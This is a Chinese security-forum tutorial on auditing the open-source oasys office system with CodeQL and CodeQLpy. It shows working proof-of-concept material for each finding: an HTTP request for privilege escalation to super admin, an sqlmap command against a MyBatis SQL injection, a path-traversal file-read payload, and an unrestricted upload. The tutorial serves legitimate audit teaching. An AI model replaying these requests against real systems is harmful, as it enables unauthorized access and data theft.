问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
半自动化代码审计实战
渗透测试
无论我们在手工代码审计中具备多么扎实的技术背景、丰富的经验和敏锐的洞察力,仍然会存在着一些局限性;为了克服这些局限性,使用自动化代码审计工具可以快速识别所有可疑漏洞的位置,从而提高审计的效率和准确性!
0x01 前言 ------- 在黑盒测试中可能会忽略一些潜在的漏洞和安全问题。而`代码审计`则可以直接查看代码、深入到代码层面对系统进行全面分析和检查其执行逻辑,从而能够发现那些黑盒测试中难以发现的问题。 我个人对代码审计最喜欢的方面是其能够扩大漏洞范围。在当前的模块化开发环境中,开发人员经常编写工具类和库来实现代码的复用,简化代码。当在代码审计中发现一个工具类存在漏洞时,调用该工具类的方法都有可能存在相同的漏洞。我们只需追溯`工具类调用处`,就可以轻松发现多个漏洞。 有一句话是这么说的"`没有绝对安全的系统`",在这里`Yu9`借用这句话引出一个观点`无论我们在手工代码审计中具备多么扎实的技术背景、丰富的经验和敏锐的洞察力,仍然会存在着一些局限性`,例如可能会出现疏漏和错误。 为了克服这些局限性,使用自动化代码审计工具可以快速识别所有可疑漏洞的位置,从而提高审计的效率和准确性。然而,我们也要认识到自动化工具的使用也有一些限制。它们依赖于已知的漏洞模式和规则,并且可能无法完全覆盖所有的漏洞类型。因此,在进行代码审计时,手工审计和自动化工具的结合使用通常是更有效的方法,以确保发现尽可能多的漏洞并提高审计的准确性。 0x02 声明 ------- **遵纪守法** 请严格遵守网络安全法相关条例! 此分享主要用于交流学习,请勿用于非法用途,一切后果自付。 一切未经授权的网络攻击均为违法行为,互联网非法外之地。 **文章转载** 转载请联系作者获得授权 作者公众号:安服仔Yu9 0x03 环境搭建 --------- ### 审计系统 **oasys** oasys是一个OA办公自动化系统, - 基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架。 - 集成了jpa、mybatis等框架。 源码:[https://gitee.com/aaluoxiang/oa\_system](https://gitee.com/aaluoxiang/oa_system) **由于是springboot项目,直接idea打开,配置一下数据库,Maven加载一下依赖就可以跑起来。** ### 工具 **CodeQL & CodeQLpy** 1)CodeQl CodeQL 是一个语义代码分析引擎,它可以扫描发现代码库中的漏洞。使用 CodeQL,可以像对待数据一样查询代码。编写查询条件以查找漏洞的所有变体并处理,同时可以分享个人查询条件。 CodeQl教程可以参考这位师傅的文章:<https://kiprey.github.io/2020/12/CodeQL-setup/> 2)CodeQLpy CodeQLpy是一款基于CodeQL实现的自动化代码审计工具 项目地址:<https://github.com/webraybtl/CodeQLpy> 0x04 源码扫描 --------- 使用CodeQLpy工具扫描源码。 1)初始化数据库,这里直接通过源码来生成数据库,所以不需要-c参数 ```js python main.py -t D:\\Desktop\\oa\_system-master ``` ![image-20240131011041888](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-a7d0f66088f785e01ca466aeaaba778ef695794a.png) 2)生成数据库,如果有错请忽略,最终只要看到“成功创建数据库”就可以 ```js codeql database create out/database/oa\_system-master --language=java --source-root="D:\\Desktop\\oa\_system-master" --command="D:\\Desktop\\CodeQLpy-master\\out\\decode/run.cmd" --overwrite ``` ![image-20240131011425604](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-b8959e1c46655b2b6ba056c730b079800751a4d4.png) 3)查询漏洞 ```js python main.py -d D:\\Desktop\\CodeQLpy-master\\out\\database\\oa\_system-master ``` ![image-20240131011656603](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-306ded752302ac85ae882f1caeddba6b6511c67a.png) ![image-20240131021755851](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-01e41583516ec445136a3e8e5684f678e0da4de5.png) 4)最终的会生成:csv文件,路径`CodeQLpy-master\out\result` 可以看到结果还是很清晰的 Source:漏洞关键字 SourceFunction:漏洞所在的方法名 SourcePath:漏洞所在文件地址 ![image-20240131022021631](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-b3401ac93d045f85e55d56554b37204e55dea0ee.png) 0x05 漏洞分析 --------- ### 01、垂直越权获得超级管理员权限 ![image-20240131035751829](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-9bef5b4d0d66eb9232055b1d8102c767dd9c4c05.png) 这块已经给了有风险的代码`地址和方法名`,快速的定位漏洞点。这里咱全局搜索(ctrl+shift+f) 全局搜索`123456`,定位到`oa_system-master\src\main\java\cn\gson\oasys\controller\user\UserController.java` ![image-20240131012133698](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-bfbf57c2872ca4a16b57ea6c1cd698fdfd638e4d.png) 阅读代码得知,这个控制器是初始化用户的功能,给了一个默认密码123456 ![image-20240131013746637](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-de971c604a98e210f005d6d422feff8a3ddc762b.png) 寻找后发现是在用户管理模块的新增功能 ![image-20240131014119460](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-99b04ddcf3a63e8b057b5b6489d87d2d6d3d3949.png) 新增用户抓取数据包 ![image-20240131014551587](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-bbd6f283c5d82797f97f4feb950ae6d1dbd16b08.png) ![image-20240131014723901](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-ebf08ad8764f567e201795fb222c4b924ce93c09.png) 接下来登录一个普通用户的账号、可以看到这个用户是没有`用户管理`这个功能的。 抓取他的session ![image-20240131013042054](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-09cadae2ef5c9c5e7bab287903098660746a3fc8.png) 使用普通用户的session替换掉管理员账号抓取到的数据包中的session。注意:身份证格式要规范,我用的自己的就不展示了。 ![image-20240131014801196](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-c03c84cfdb57214121058dc23d5727764f798a7e.png) 使用下边这个数据包的话要修改身份证哈`idCard`参数 ```json POST /useredit HTTP/1.1 Host: 127.0.0.1 sec-ch-ua-mobile: ?0 Accept-Encoding: gzip, deflate, br Sec-Fetch-Dest: iframe Accept-Language: zh-CN,zh;q=0.9 Sec-Fetch-Mode: navigate Referer: http://127.0.0.1/useredit Cookie: JSESSIONID=CA902F7BBA9E186241CC19593B034F47 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin sec-ch-ua: "Not\_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-User: ?1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 317 userName=test&userTel=14444444444&realName=%E5%BC%A0%E4%B8%89&eamil=14444444444%40qq.com&address=%E6%B2%B3%E5%8D%97&userEdu=%E6%9C%AC%E7%A7%91&school=%E9%83%91%E5%A4%A7&idCard=xxxxxxxxxxxxxxxxxx&bank=62175555555555433&deptid=1&sex=%E7%94%B7&positionid=1&roleid=3&salary=1000&hireTime=2024-01-30&themeSkin=blue&userId= ``` 成功创建用户,并且具有超级管理员权限 ![image-20240131013126951](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-b6d6ae2b7e10db0c14ba140a88c44df296fcb5a4.png) ### 02、sql注入 可以看到有三个可以漏洞点都在`AddrController`类,先办它! ![image-20240131023116507](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-853f9d782c6ecc1f771db20bfcf811282ec743d8.png) 这块是直接给出了有风险的代码位置`oa_system-master/src/main/java/cn/gson/oasys/controller/address/AddrController.java`和方法名`outAddress` ![image-20240131023037815](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-78e69b891f16cfb7da3dc10fefd138fc9aef9387.png) 可以看到调用了am的allDirector方法来处理`baseKey`,我们跟进去(ctrl+鼠标左键点击方法名)瞅瞅 ![image-20240131015857588](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-1cd1c7323af5c56dcbf16dab61583ce79643cc79.png) 然后就调用了数据库,这个系统使用的是mybatis,咱直接点代码前的小红鸟,跟进到xml文件瞅瞅具体的sql语句 ![image-20240131025633296](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-db23dc2b54b3ff1052954b3f4a18504e417abe30.png) mybatis在对sql语句进行预处理时:`#{}` 进行预处理、`${}` 不进行预处理。这块在处理baseKey参数就是使用${}直接拼接。同时pinyin、outtype参数也是如此、也是拼接,也可以注入 找到功能点测试发现baseKey参数就是`外部通讯录`模块搜索功能的参数 ![image-20240129141836472](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-0c396eb2a1fb97e5425632bf16dadfb60284276b.png) 抓数据包 ![image-20240131025609200](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-3ac9e84277669d2c5fbf2ecdf448f2c607f96918.png) ```php POST /outaddresspaging HTTP/1.1 Host: 127.0.0.1 Origin: http://127.0.0.1 Sec-Fetch-Site: same-origin Accept-Language: zh-CN,zh;q=0.9 Sec-Fetch-Dest: empty Cookie: JSESSIONID=ED297E0C1F3E70B122CEEEA3481786D7 sec-ch-ua-platform: "Windows" Referer: http://127.0.0.1/addrmanage Sec-Fetch-Mode: cors sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" sec-ch-ua-mobile: ?0 Accept-Encoding: gzip, deflate, br Accept: text/html, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Length: 29 alph=ALL&outtype=&baseKey=qwe ``` 保存数据包到txt文件,使用sqlmap一把梭,命令: ```php python sqlmap.py -r “oasys.txt” -v 3 -level=5 ``` ![image-20240129142239166](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-cd99cc8a424e1ab360f70ed1e03605f43a95cfee.png) 剩下还有一个可以sql注入的功能在**通知列表**、审计方法相同这就贴几张图不细说了 ![image-20240131022845828](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-06ca6637c1a40a9f7fea99c1657a4910c965cc1b.png) ![image-20240129133501697](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-96516fab38f46052fd5ab83327c2836ed2865827.png) ![image-20240129133230547](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-875b533c521dcef1b19a4b74d2a9df62f1f49412.png) ![image-20240129133652095](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-b18df0511b723fc27de52e37f1f0f80053eea185.png) ### 03、任意文件读取 ![image-20240131023426210](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-62d653fb89143dc5e8b4fa1cf1e629868313b6b2.png) 这块有俩其实都一样,咱就挑一个分析就OK 这块是直接给出了有风险的代码位置`oa_system-master/src/main/java/cn/gson/oasys/controller/user/UserpanelController.java`方法名`image` ![image-20240131023635884](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-7b42860b45766e2f7f863d4f30b9cdab89abcd27.png) projectPath:当前项目路径 startpath:获取请求URI 这块唯一的处理就是把URI中的`/images`替换为空,之后就创建`file`对象 也没有对文件内容做啥检测就输出了 构造payload: ```php /image//image..//image..//image..//image..//image..//image../test.txt ``` 新建一个测试文件 ![image-20240131024350969](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-f122acf63e96304d854a5857f07413ff348df436.png) 成功读取到桌面文件 ![image-20240131025051402](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-b60fd668408ba6211477ea6afca7a1e25f859187.png) 具体的payload还要看自己在配置文件中的`rootpath` ![image-20240131025325982](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-f3d0a49a3eab3cbbcdd548db105c84be5c10ebd6.png) ```php GET /image//image..//image..//image..//image..//image..//image../test.txt HTTP/1.1 Host: 127.0.0.1 Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" Cookie: JSESSIONID=ED297E0C1F3E70B122CEEEA3481786D7 Referer: http://127.0.0.1/addrmanage Sec-Fetch-Mode: cors Accept: text/html, */*; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Accept-Encoding: gzip, deflate, br Origin: http://127.0.0.1 sec-ch-ua-platform: "Windows" Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 0 ``` ### 04、文件上传 ![image-20240131030407154](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-bfa0dc2b1ca12ab71a1b0c9a73c62b9fa054bf92.png) ![image-20240131030429057](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-bed069b13a3e9691423726abc252eb274fb9e783.png) 这里提到最多的还是文件上传,我们找一个跟进去看看 ![image-20240131030631749](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-bf7b28456e10d0ef3dff438d1f91d96a27c707eb.png) 通过审计我们可以看到这块确实没有对文件后缀进行一些过滤。导致任意文件上传 ![image-20240131031024684](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-37b405d5686cca9686d18b53b16f37a5330de585.png) 但是作者这块使用uuid重新生成了文件名,并且上传文件存在静态文件夹。并且不会返回文件路径。so目前貌似没有危害 oasys是一个springboot项目,也在配置文件中没有找到解析jsp的一些配置,所以这个上传点是不足以getshell。 **深入:** 抱着不漏掉的原则,就又看了看其他的上传点。发现一个上传头像处回显地址 漏洞地址:`oa_system-master/src/main/java/cn/gson/oasys/services/user/NotepaperService.java` ![image-20240131040404783](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-2f5f2e8ab1a3800eaa849c7c4108c2ab897ad99e.png) 是一个`services`,那就向上追溯寻找调用处 ![image-20240131041528902](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-5bf152744a5ff0d7e98ebbf0dc3e492aa31e8997.png) 在系统中找到位置在用户面板中个人设置处 ![image-20240131042106283](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-4544c8327a0d49305c58f91e582c31adf67944c1.png) 使用刚刚越权创建的账号test上传一个js或者pdf文件,咱就直接用js ![image-20240131042329889](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-7e457d693eddc48bae71a83cecd0f286c1de5927.png) ![image-20240131042447042](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-96cc0c4e64b15b6e0d11761bd8af5a3faf95506a.png) 之后再用户管理处就可以看到src中是文件地址。 ![image-20240131041938816](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-d48f7d2ef0756902ebf8057e6764096564cc6e93.png) ![image-20240131042714881](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-d3b80f7eb876ee4ead2385d9e9b5331cbf7e609d.png) ### 05、其他 这个站还有一些别的漏洞,如:储存性xss、csrf、越权读取、越权删除等漏洞。网上都可以搜到相关文章、这里就不过多阐述! 0x06 总结 ------- 自动化工具在审计的过程中也只是起到辅助作用。在进行代码审计时,手工审计和自动化工具的结合使用通常是更有效的方法。
发表于 2024-02-22 09:00:01
阅读 ( 10079 )
分类:
代码审计
14 推荐
收藏
8 条评论
johnxiaobai
2024-02-27 11:08
为啥获取用户id为null,密码初始化为123456之后,跟替换普通用户的cookie有啥关系呢?
333333333333333333心心深爱的
回复
johnxiaobai
31
johnxiaobai
回复
Yu9
谢谢!
加载更多
请先
登录
后评论
333333333333333333心心深爱的
2024-05-09 17:40
6
请先
登录
后评论
woshidatianguan
2024-06-13 14:44
大佬,文件上传传了jsp一句话木马,getshell不了啊?
Yu9
回复
woshidatianguan
springboot默认不解析jsp
请先
登录
后评论
CYX!
2024-06-27 19:56
这个python版的codeql 需要手动跟过去,这一点不太丝滑
请先
登录
后评论
请先
登录
后评论
Yu9
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!